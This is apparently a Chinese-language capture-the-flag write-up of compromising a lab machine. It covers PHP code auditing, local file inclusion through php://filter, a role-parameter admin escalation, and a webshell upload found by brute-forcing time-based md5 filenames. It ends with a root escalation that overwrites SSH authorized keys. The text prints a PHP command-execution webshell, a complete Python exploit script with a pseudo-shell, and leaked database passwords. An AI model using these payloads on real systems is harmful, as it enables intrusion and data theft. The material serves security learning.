本文从一次靶机渗透开始,其间涉及到了php代码审计的思路、流程及方法,通过代码审计挖掘了靶机存在的漏洞,最终利用该漏洞拿下靶机并成功提权。渗透过程具有一定的代表性,下面开始此次渗透之旅。
信息收集
老规矩,先来一波端口扫描,顺便整理下渗透思路;
nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.135
从端口看只能从web开始了;在看下目录,有没有特别的敏感信息;
./gobuster dir -u http://10.10.11.135/ -w /usr/share/dirb/wordlists/small.txt -t 50 -x php
并没有特别发现,这时候就考验渗透经验和功底的积累了(可以使用xray配合着做些辅助的发现),打开网页看看;
只提供了登录,并没有注册页面。
漏洞挖掘
文件包含
在翻看image.php页面时,发现一个有趣的地方,我们看到 image.php 没有给出任何错误或重定向。可能这个页面可以接收一些 get 或 post 参数,因为当我们通过图像上传任何 phpshell 时,它也需要参数,如果我们不传递任何参数,它们会给我们这样的空白页面。
下面用wfuzz来测试一下;
运气不错,在看看是否是本地包含;
存在waf,使用php伪协议来尝试绕过;
http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd
http://10.10.11.135/image.php?img=php://filter/read=convert.base64-encode/resource=/etc/passwd 这个也是可以的。
接下来还需要寻找上传点或敏感文件来实现进一步的渗透。
代码审计
既然可以进行文件读取,下面就将网站的源码下载下来进行代码审计。
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=login.php | base64 -d
在第三处划线的地方提交数据时可以改变角色,可能存在越权漏洞;
header.php
role的参数为1时,出现Admin panel。
db_conn.php
<?php $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
发现了root的账号密码,有点激动,尝试了一下失败。。。
在看下upload.php
上传路径、上传后文件名的生成方式都有了,上传条件;
admin_auth_check.php
检查role是否等于1,表示有管理员的权限。
接下来问题在于网页并没有开放注册接口,需要我们自己寻找已存在的账号密码;结合前面获取的/etc/passwd文件,逐个尝试,最后发现了一组可以利用的账号和密码;
登录后出现提示;
明显可知是需要进行越权操作的,下面来寻找越权点;
利用账号登录后发现;
可以修改用户的属性,感觉离越权成功更近了;查看下源码;
profile.php
profile.js
profile_update.php
越权的核心就在这里了,可以看到如果我们提交role=1,它就会设置会话角色 id=1。
下面我们用burp来抓包、改包后实践我们的想法;
抓包并添加role;
回到home在刷新下页面;
可以看到新多出来一个 Admin Panel;
点进去发现存在可以上传的地方;
重新在看下upload.php;
然后我们看到上传文件的过程
1.检查是否为jpg
2.它用md5哈希创建一个文件名
3. 在 md5 函数中,它使用 $file_hash 变量来传递字符串,字符串用单引号(php中字符串用单引号和双引号都可以,但是是有区别的,单引号表示原始字符串不转义,双引号表示的是可转义的字符串)
4.但时间函数是返回动态值
5.然后是file_name
可以写个脚本来模拟文件的生成过程;
<?php $upload_dir = "images/uploads/"; $file = "shell.jpg"; while(true){ $file_name = md5('$file_hash'. time()) . '_' . $file; $target_file = $upload_dir . $file_name; echo $file_name; echo PHP_EOL; sleep(1); } ?>
测试一下;
弄清楚整个过程后下面开始上传文件;
1、创建图片文件 dedsec.jpg ,内容为:
<?php system($_GET[dedsec]);?>
2、运行脚本 exploit.py
import time import hashlib while True: print(f"hash = {hashlib.md5('$file_hash'.encode()+str(int(time.time())).encode()).hexdigest()}") time.sleep(1)
python3 exploit.py
3、上传文件dedsec.jpg
4、根据生成的hash值穷举下文件名;
成功发现了我们上传的shell。
至此,已经初步得到了服务器的webshell权限,回看整个代码审计过程,难度不大,但逻辑严谨,思维上没有特别大的跳跃,思路和方法值得借鉴,下面在给个直接拿webshell的脚本。
#!/bin/python3 import base64 import sys import subprocess import re import requests session = requests.Session() file_target = [] valid_file = [] def pretty_headers(header): """Creates a header for clearer output.""" print("\n" + ("-" * 75)) print(header) print("-" * 75) def get_admin(): """Promote user to admin.""" params_post = {"firstName":"test","lastName":"test","company":"test","role":"1","email":"test"} session.post("http://10.10.11.135/profile_update.php", data=params_post) def new_session(): """Create session.""" params_get = {"login":"true"} params_post = {"user":"aaron","password":"aaron"} session.post("http://10.10.11.135/login.php", data=params_post, params=params_get) def generate_filename(): """Generates filename.""" while True: command = "/usr/bin/php -r \"\$file_hash=uniqid(); \$file_name=md5('\$file_hash' \ . time()) . '_' . basename('test.jpg'); echo \$file_name;\"" proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) hash_value = proc.stdout.read().decode("utf-8") hash_value = hash_value.replace('\n', '') file_target.append(hash_value) upload_file() if check_file(): valid_file.append(hash_value) return def upload_file(): """Uploads webshell. Intended to be called during filename generation, as it is time() dependent.""" params_multipart = [('fileToUpload', ('test.jpg', "<?php system($_GET['cmd']); ?>", \ 'image/jpeg'))] session.post("http://10.10.11.135/upload.php", files=params_multipart) def check_file(): """Checks to see if a valid response is returned after upload. Parses the file_target array.""" for r in file_target: url = "http://10.10.11.135/images/uploads/"+r response = session.get(url) if response.status_code != 404: return True def php_include(cmd): """Passes cmd to web shell, returns response.""" filename = valid_file[0] params_get = {"cmd":cmd} response = session.get("http://10.10.11.135/image.php?img=images/uploads/"+filename, \ params=params_get) decoded = response.content.decode("utf-8") print(decoded) def lfi_menu(): """Menu for LFI input.""" while True: prompt = input("Path to file: ") pretty_headers("Now displaying: " + prompt) if prompt == "exit": return False lfi_read(prompt) def lfi_read(prompt): """Defines logic for decoding base64 lfi response.""" params_get = {"img":"php://filter/convert.base64-encode/resource="+prompt} response = session.get("http://10.10.11.135/image.php", params=params_get) try: decoded = base64.b64decode(response.content) decoded = decoded.decode("utf-8") decoded = decoded.replace('\\n', '\n').replace('\\t', '\t') print(decoded) except: print("Something went wrong. Probably not a base64 response.") def pseudo_shell(): """Generates a poor-man's terminal.""" generate_filename() pretty_headers("Shell uploaded to: http://10.10.11.135/images/uploads/"+valid_file[0]) while True: prompt = input("www-data@10.10.11.135$ ") if prompt == "exit": return False php_include(prompt) def menu(): """The menu.""" new_session() get_admin() while True: pretty_headers("Main Menu") print("[1] LFI / Arbitrary Read") print("[2] Pseudo-shell (www-data)") print("[3] Exit") choice = input("Selection: ") if validate_menu(choice): if choice == "1": lfi_menu() if choice == "2": pseudo_shell() if choice == "3": return False sys.exit() def validate_menu(choice): """Validating user input.""" if re.search('[123]', choice): return True print("[!] Invalid menu option. Exiting.") return False menu()
脚本运行截图;
这里根据个人喜好,可以上传反弹脚本或者webshell,在用工具去连接都可以。
GitTools
在靶机上翻了许久,终于发现了一个备份文件 source-files-backup.zip,下载回本地来研究下;
cp+/opt/source-files-backup.zip+/var/www/html/
解压后;
发现有.git目录;联想到git源码泄露,先后尝试了GitHack、dvcs-ripper,最终使用GitTools有所收获(工具的具体用法教程很多,这里不再赘述。)
最终发现了2个密码;
cat 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php && cat 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php<?php $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd'); <?php $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
其中一个尝试ssh登录成功;
提权
取得普通用户的权限后,下面尝试提权;
常规的套路是上linPEAS脚本看看,这里可以先手动排查下;
很明显,提权就靠这个程序了;
测试下基本功能;
就是一个用来下载文件的程序,特殊之处在于程序可以以root权限运行,这里提供一种提权的思路;
1、靶机上把ssh的公钥认证文件映射出来;
2、本机生成ssh公、私钥对;
3、利用具有root权限的程序去覆盖映射出来的公钥认证文件,实现ssh免密登录;
本地搭个http服务器;
cp id_rsa.pub /root/Desktop/keys
之后利用私钥登录就可以了;
至此,整个渗透过程到这里就结束了,其间涉及到的一些渗透思路及小方法还是值得回味的。